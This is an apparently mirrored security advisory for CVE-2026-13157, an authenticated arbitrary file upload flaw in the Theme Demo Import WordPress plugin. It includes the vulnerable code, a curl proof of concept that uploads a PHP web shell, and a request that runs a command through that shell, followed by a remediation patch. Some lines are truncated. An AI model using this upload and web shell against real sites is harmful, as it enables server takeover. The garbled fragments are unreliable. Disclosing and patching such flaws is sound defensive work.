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## https://sploitus.com/exploit?id=FAD246DE-FBA6-5E80-88AB-A926EA6E1D4C
# [CVE-2026-13157] Theme Demo Import
---
## 📖 Advisory Overview
CVE-2026-13157 is an authenticated arbitrary file upload vulnerability affecting the Theme Demo Import WordPress plugin prior to and including version 1.1.3, discovered and analyzed by cybersecurity researcher Huynh Kien Minh (MinhHK). The vulnerability exists within the AJAX demo import routine (`TDI_import_demo_data`), where the plugin explicitly disables standard WordPress file-type verification tests (`'test_type' => false`) during upload processing. An authenticated user possessing import capabilities—such as a default site administrator or a non-super-admin site administrator in a WordPress Multisite architecture—can bypass file restriction enforcement to upload arbitrary executable PHP scripts directly into the public `wp-content/uploads/` directory, achieving persistent Remote Code Execution (RCE) and complete server compromise.
---
## 📌 Executive Summary
| Parameter | Technical Specification |
| :--- | :--- |
| **Vulnerability Identifier** | `CVE-2026-13157` |
| **Target Software** | Theme Demo Import (WordPress Plugin) |
| **Plugin Slug** | `theme-demo-import` |
| **Affected Versions** | ` false,
'test_type' => false, // CRITICAL VULNERABILITY: Disables MIME and file extension verification!
);
// Handle demo content and widgets file upload.
$content_file_info = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );
```
By passing `'test_type' => false` into `$upload_overrides`, the developer overrode the WordPress core MIME verification subsystem (`wp_check_filetype_and_ext()`). As a direct consequence, the application no longer restricts file attachments to safe demo data formats (`.xml`, `.json`, `.wie`, `.dat`), permitting any authenticated user with access to the settings page to upload executable PHP scripts (`.php`, `.phtml`, `.phar`) straight into the public document root.
---
## 💻 Exploit Proof of Concept (PoC)
> **Ethical Research Disclaimer:** This proof of concept is documented strictly for educational auditing, defensive engineering, and authorized security validation. Unauthorized exploitation of live systems is prohibited.
### Prerequisites & Setup
- **Target System:** WordPress instance running Theme Demo Import version `
```
2. Execute the authenticated multi-part payload via cURL targeting the administrative AJAX dispatcher:
```bash
curl -i -s -X POST "http:///wp-admin/admin-ajax.php" \
-H "Cookie: wordpress_logged_in_xxxxxx=yyyyyy" \
-F "action=TDI_import_demo_data" \
-F "security=" \
-F "content_file=@exploit_webshell.php;type=application/x-php"
```
3. The server responds with an affirmative JSON upload acknowledgment. Access the uploaded executable directly within the designated monthly directory to trigger Remote Code Execution:
```http
GET /wp-content/uploads/2026/08/exploit_webshell.php?cmd=whoami HTTP/1.1
Host:
```
---
## 💥 Threat Modeling & Multisite Impact Scenarios
While single-site WordPress installations grant standard Administrators trusted control over the server environment, CVE-2026-13157 introduces critical security boundaries collapse in Enterprise and Multisite deployments:
1. **WordPress Multisite Privilege Escalation (Site Admin to Super Admin RCE):** In a WordPress Multisite architecture, individual site administrators are deliberately restricted by core design from installing plugins, editing themes, or uploading unsafe script extensions (`unfiltered_upload` capability is reserved solely for Network Super Admins). CVE-2026-13157 completely shatters this multi-tenant tenant isolation, enabling an unverified sub-site administrator to drop a web shell and execute system commands across the entire server network.
2. **Managed WordPress Hosting Boundary Bypass:** Modern secure hosting platforms restrict file modification permissions and disable file editor capabilities (`DISALLOW_FILE_EDIT`). This vulnerability circumvents hosting restrictions by leveraging the plugin's native file transfer mechanism to write arbitrary executable code directly into writable volume storage.
---
## 🛡️ Remediation & Patch Architecture
To securely resolve CVE-2026-13157, software maintainers and defensive engineers must immediately reinstate strict MIME-type and file extension validation within the upload handling logic in `inc/class-tdi-helpers.php`.
### Secure Code Replacement
Remove the insecure override `'test_type' => false` and enforce a rigorous allowlist restricted strictly to standard WordPress export structures (`text/xml`, `application/json`):
```php
// Secure Remediation Patch for inc/class-tdi-helpers.php (Lines 495 - 510)
$upload_overrides = array(
'test_form' => false,
'test_type' => true, // Enforce strict core file-type verification
'mimes' => array(
'xml' => 'text/xml',
'json' => 'application/json',
'wie' => 'application/json',
'dat' => 'text/plain',
),
);
// Perform capability check before handling upload
if ( ! current_user_can( 'import' ) ) {
wp_send_json_error( array( 'message' => __( 'Insufficient privileges to perform import.', 'theme-demo-import' ) ), 403 );
}
// Proceed with validated file handling
$content_file_info = wp_handle_upload( $_FILES['content_file'], $upload_overrides );
$widget_file_info = wp_handle_upload( $_FILES['widget_file'], $upload_overrides );
$customizer_file_info = wp_handle_upload( $_FILES['customizer_file'], $upload_overrides );
```
---
## 🏆 About the Researcher
**Huynh Kien Minh (MinhHK)** is an information security researcher, software developer, and vulnerability analyst specializing in offensive web application security, PHP application architecture auditing, and enterprise exploitation vectors. His discoveries and technical advisories have been formally recognized by major global vulnerability databases and product security naming authorities.
* 🌐 **Official Researcher Portfolio:** [https://minhhk.web.app/](https://minhhk.web.app/)
* 🐙 **GitHub Security Lab & PoC Repositories:** [https://github.com/MinhHK68](https://github.com/MinhHK68)
* 🛡️ **WPScan Verified Security Advisory:** [WPScan CVE-2026-13157 Report](https://wpscan.com/vulnerability/5d6a6a8e-c224-4034-8ed5-2d63f37f9479/)
---
## 📊 Structured Metadata (JSON-LD)
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"softwareVersion": "<= 1.1.3",
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```